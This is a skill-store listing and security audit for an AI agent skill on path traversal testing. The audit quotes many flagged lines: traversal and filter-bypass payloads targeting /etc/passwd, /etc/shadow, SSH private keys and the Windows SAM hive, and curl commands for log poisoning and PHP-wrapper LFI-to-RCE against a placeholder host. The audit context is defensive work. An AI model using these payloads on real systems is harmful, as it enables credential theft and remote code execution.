Skills file-path-traversal
📦
file-path-traversal
Content revision r1 Critical ⚙️ External commands🌐 Network access📁 Filesystem access
Test Path Traversal Exposure
Path traversal bugs can expose server files and credentials. This skill guides authorized testers through discovery, validation, impact assessment, and remediation.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "file-path-traversal" from https://skillstore.io/skills/sickn33-file-path-traversal.md and its manifest at https://skillstore.io/api/skills/sickn33-file-path-traversal/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "file-path-traversal". An authorized staging endpoint accepts a file parameter for downloads.
Expected outcome:
- Assessment plan with scope, safe test cases, and stop conditions.
- Evidence checklist that avoids collecting private keys or password hashes.
- Remediation advice using allowlists and canonical path checks.
Using "file-path-traversal". A developer needs to fix unsafe file access in a web handler.
Expected outcome:
- Root cause summary for unsanitized path construction.
- Recommended validation strategy using canonical paths and approved filenames.
- Regression test ideas for traversal, encoding, and absolute path inputs.
Using "file-path-traversal". An AppSec lead needs report language for confirmed traversal exposure.
Expected outcome:
- Business impact summary with sensitive data redacted.
- Severity rationale based on reachable files and application context.
- Concrete remediation steps and verification criteria.
Security Audit
Criticalv6 • 7/9/2026 Open versioned report
The skill is explicitly offensive and includes payloads for sensitive file disclosure, SSH key targeting, SAM hive access, and LFI-to-RCE escalation. Markdown backtick detections are false positives, but most filesystem, sensitive file, network exploit, and blocker findings are confirmed.
1
Files scanned
493
Lines analyzed
64
Review items
0
False positives ignored
Confirmed security concerns (48)
Critical
SSH directory access
/root/.ssh/id_rsa # Root private key
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Critical
SSH directory access
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Critical
SSH directory access
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Critical
SSH private key file
/root/.ssh/id_rsa # Root private key
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Critical
SSH private key file
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Critical
SSH private key file
C:\Users\<user>\.ssh\id_rsa
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Critical
Windows SAM/registry hive access
C:\windows\system32\config\SAM
The line targets the Windows SAM registry hive. Disclosure can expose local account credential material.
Critical
System password file access
../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Show all 48 confirmed findings
Critical
System password file access
../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
../../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
../../../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
curl "http://target.com/image?filename=../../../etc/passwd"
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
curl "http://target.com/download?file=....//....//....//etc/passwd"
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
/etc/shadow
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
....//....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
....\/....\/....\/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
..././..././..././etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
%2e%2e/%2e%2e/%2e%2e/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
../../../etc/passwd%00.jpg
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
../../../etc/passwd%00.png
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
../../../etc/passwd...............................
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
../../../etc/passwd.jpg.php
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
/var/www/images/../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
images/../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
/etc/passwd # User accounts
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
/etc/shadow # Password hashes (root only)
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
# Traverse to /etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
....//....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
..;/..;/..;/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
../../../etc/passwd%00.jpg
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
| `../../../etc/passwd` | Linux password file |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
| `....//....//....//etc/passwd` | Bypass simple filter |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
| `/etc/passwd` | Absolute path |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
| Linux | `/etc/passwd` | User accounts |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System password file access
| Linux | `/etc/shadow` | Password hashes |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critical
System reconnaissance
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The whoami check is embedded in an LFI-to-RCE validation flow. It supports command execution confirmation on a target system.
Critical
System reconnaissance
"http://target.com/page?file=/proc/self/environ&c=whoami"
The whoami check is embedded in an LFI-to-RCE validation flow. It supports command execution confirmation on a target system.
Critical
Explicit Offensive Exploitation Intent
The skill states that it identifies and exploits path traversal and lists exploitation proof with extracted file contents as a deliverable.
The purpose and deliverables explicitly prioritize exploitation and extracted file contents. This is intent-level evidence beyond individual payload strings.
Critical
LFI to Remote Code Execution Escalation
The skill provides log poisoning, proc environment, PHP wrapper, data wrapper, and expect wrapper escalation paths from LFI to command execution.
The section is explicitly titled as escalation and includes command execution techniques. The intent is clear and technically actionable.
High
SSH host/auth files
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
High
Crypto seed/private key mention
/root/.ssh/id_rsa # Root private key
The line explicitly references private key material. This is sensitive credential content even when shown as a test target.
High
Crypto seed/private key mention
/home/<user>/.ssh/id_rsa # User private keys
The line explicitly references private key material. This is sensitive credential content even when shown as a test target.
High
Automated Fuzzing Against Web Targets
The skill walks users through Burp Intruder, ffuf, and wfuzz workflows to attack file parameters and filter successful responses.
The section provides a complete automated testing workflow against target URLs. It can be legitimate only inside authorized scope.
Low
System reconnaissance
/etc/hostname # System hostname
The line lists /etc/hostname as a traversal target. Hostname disclosure supports system reconnaissance.
Capability review items (64)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
Critical
Ruby/PHP system() call
curl -A "<?php system('id'); ?>" \
The example embeds PHP system() inside an LFI exploitation workflow. It teaches command execution on a target, not only benign detection.
Critical
Ruby/PHP system() call
curl -X POST -d "<?php system('id'); ?>" \
The example embeds PHP system() inside an LFI exploitation workflow. It teaches command execution on a target, not only benign detection.
Critical
Hardcoded URL
curl "http://target.com/image?filename=../../../etc/passwd"
The HTTP request template attempts to retrieve /etc/passwd through traversal. The placeholder host does not remove the sensitive file access intent.
Critical
Hardcoded URL
curl "http://target.com/download?file=....//....//....//etc/passwd"
The HTTP request template attempts to retrieve /etc/passwd through traversal. The placeholder host does not remove the sensitive file access intent.
Critical
Hardcoded URL
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critical
Hardcoded URL
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critical
Hardcoded URL
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critical
Hardcoded URL
"http://target.com/page?file=/proc/self/environ"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critical
Hardcoded URL
"http://target.com/page?file=/proc/self/environ&c=whoami"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critical
Hardcoded URL
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critical
Hardcoded URL
"http://target.com/page?file=php://input"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critical
Hardcoded URL
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critical
Hardcoded URL
curl "http://target.com/page?file=expect://id"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critical
Hidden file access
/root/.ssh/id_rsa # Root private key
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
Critical
Hidden file access
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
Critical
Hidden file access
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
Critical
Linux /proc filesystem access
/proc/self/environ
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Critical
Linux /proc filesystem access
/proc/self/environ # Environment variables
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Critical
Linux /proc filesystem access
"http://target.com/page?file=/proc/self/environ"
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Critical
Linux /proc filesystem access
"http://target.com/page?file=/proc/self/environ&c=whoami"
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Critical
Linux /proc filesystem access
| Linux | `/proc/self/environ` | Environment vars |
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
High
Hardcoded URL
ffuf -u "http://target.com/image?filename=FUZZ" \
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
High
Hardcoded URL
ffuf -u "http://target.com/page?file=FUZZ" \
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
High
Hardcoded URL
"http://target.com/index.php?file=FUZZ"
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
High
Hardcoded URL
"http://target.com/load?path=FUZZ"
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
High
Path traversal sequence
- `../` sequence moves up one directory
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
../../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
../../../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
..\..\..\windows\win.ini
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
..\..\..\..\windows\system32\drivers\etc\hosts
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
..%2F..%2F..%2Fetc%2Fpasswd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
curl "http://target.com/image?filename=../../../etc/passwd"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
curl "http://target.com/download?file=....//....//....//etc/passwd"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
# When ../ is stripped once
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
....//....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
....\/....\/....\/etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
..././..././..././etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
..%2f..%2f..%2fetc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
../../../etc/passwd%00.jpg
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
../../../etc/passwd%00.png
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
../../../etc/passwd...............................
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
../../../etc/passwd.jpg.php
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
/var/www/images/../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
images/../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
..%5c
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
....\\....\\etc\\passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
..%2F..%2F..%2Fetc%2Fpasswd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
....//....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
../../../etc/passwd%00.jpg
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
| `../../../etc/passwd` | Linux password file |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
| `..\..\..\..\windows\win.ini` | Windows INI file |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
| `....//....//....//etc/passwd` | Bypass simple filter |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
| URL Encoding | `%2e%2e%2f` = `../` |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Path traversal sequence
| Double Encoding | `%252e%252e%252f` = `../` |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
High
Hidden file access
/var/www/html/.htaccess
The line targets a hidden web server configuration file. Disclosure can reveal access controls, routing, or deployment details.
High
Linux /proc filesystem access
/proc/self/cmdline # Process command line
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
High
Linux /proc filesystem access
/proc/self/fd/0 # File descriptors
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
High
Linux /proc filesystem access
/proc/version # Kernel version
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
Risk Factors
⚙️ External commands (50)
SKILL.md:46-53 SKILL.md:53-56 SKILL.md:56-70 SKILL.md:70-90 SKILL.md:90-93 SKILL.md:93-94 SKILL.md:94-95 SKILL.md:95-96 SKILL.md:96-97 SKILL.md:97-103 SKILL.md:103-121 SKILL.md:121-125 SKILL.md:125-136 SKILL.md:136-142 SKILL.md:142-155 SKILL.md:155-159 SKILL.md:159-169 SKILL.md:169-173 SKILL.md:173-179 SKILL.md:179-183 SKILL.md:183-199 SKILL.md:199-205 SKILL.md:205-244 SKILL.md:244-250 SKILL.md:250-273 SKILL.md:273-279 SKILL.md:279-286 SKILL.md:286-290 SKILL.md:290-300 SKILL.md:300-304 SKILL.md:304-314 SKILL.md:314-320 SKILL.md:320-330 SKILL.md:330-334 SKILL.md:334-342 SKILL.md:342-346 SKILL.md:346-359 SKILL.md:359-365 SKILL.md:365-390 SKILL.md:390-396 SKILL.md:396-416 SKILL.md:416-418 SKILL.md:418-432 SKILL.md:432-440 SKILL.md:440-441 SKILL.md:441-442 SKILL.md:442-443 SKILL.md:443-444 SKILL.md:444-450 SKILL.md:450-451
🌐 Network access (15)
📁 Filesystem access (47)
SKILL.md:56 SKILL.md:105 SKILL.md:106 SKILL.md:107 SKILL.md:108 SKILL.md:111 SKILL.md:112 SKILL.md:115 SKILL.md:119 SKILL.md:120 SKILL.md:143 SKILL.md:144 SKILL.md:145 SKILL.md:148 SKILL.md:149 SKILL.md:152 SKILL.md:161 SKILL.md:162 SKILL.md:165 SKILL.md:168 SKILL.md:175 SKILL.md:178 SKILL.md:194 SKILL.md:198 SKILL.md:325 SKILL.md:329 SKILL.md:370 SKILL.md:373 SKILL.md:377 SKILL.md:384 SKILL.md:440 SKILL.md:441 SKILL.md:442 SKILL.md:461 SKILL.md:462 SKILL.md:215 SKILL.md:216 SKILL.md:217 SKILL.md:231 SKILL.md:130 SKILL.md:235 SKILL.md:236 SKILL.md:237 SKILL.md:238 SKILL.md:337 SKILL.md:341 SKILL.md:452
Detected Patterns
SSH directory access×3SSH private key file×3Windows SAM/registry hive accessSystem password file access×32System reconnaissance×3
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/sickn33-file-path-traversal/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/sickn33-file-path-traversal?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/sickn33-file-path-traversal?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-file-path-traversal/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/sickn33-file-path-traversal.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
zebbern. (2026). file-path-traversal security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-file-path-traversal/audits/6BibTeX citation
@techreport{zebbern-sickn33-file-path-traversal-2026,
author = {zebbern},
title = {file-path-traversal security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-file-path-traversal/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "file-path-traversal security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-file-path-traversal/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-file-path-traversal:audit:6"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
85
Content
69
Community
83
Spec Compliance
What You Can Build
Validate Download Endpoints
Test whether file download or viewer parameters can escape the intended directory.
Prepare Remediation Tickets
Convert confirmed traversal behavior into clear impact, evidence, and fix guidance.
Review File Access Logic
Compare application file handling against canonical path validation and allowlist patterns.
Try These Prompts
Explain the Risk
Explain how path traversal could affect this authorized staging feature. Focus on safe validation and remediation steps.
Create a Test Plan
Build a path traversal test plan for this in-scope endpoint. Include prerequisites, evidence handling, and stop conditions.
Analyze Findings
Review these authorized test results and classify impact. Redact sensitive data and recommend fixes for each affected parameter.
Plan Controlled Escalation
For an approved lab, outline when LFI may become code execution. Include approvals, containment, and safe evidence collection.
Best Practices
- Confirm written authorization and scope before running any test.
- Use canary files or lab fixtures before attempting sensitive paths.
- Redact secrets and pair every finding with remediation guidance.
Avoid
- Running traversal payloads against systems outside the approved scope.
- Collecting private keys, password hashes, or tokens as proof.
- Treating a blocked payload as proof that the code is safe.
Frequently Asked Questions
Who should use this skill?
Security testers, AppSec engineers, and developers working on authorized web application assessments.
Does this skill require authorization?
Yes. Use it only with written permission and a clear scope.
Can it help with remediation?
Yes. It includes allowlist, canonical path, and safe file access guidance.
Does it collect secrets automatically?
No. The skill is guidance only, but unsafe prompts can lead to sensitive data exposure.
Which tools does it mention?
It references browser developer tools, Burp Suite, OWASP ZAP, cURL, ffuf, and wfuzz.
Is it suitable for production testing?
Only with explicit approval, careful rate limits, and evidence handling rules.
Developer Details
Author
zebbernLicense
MIT
Skillstore revision
r1
Version notice
The author did not declare a version.
Repository
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/file-path-traversalRef
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Maintenance freshness
7/18/2026
Usage
10 downloads · 148 views
File structure
📄 SKILL.md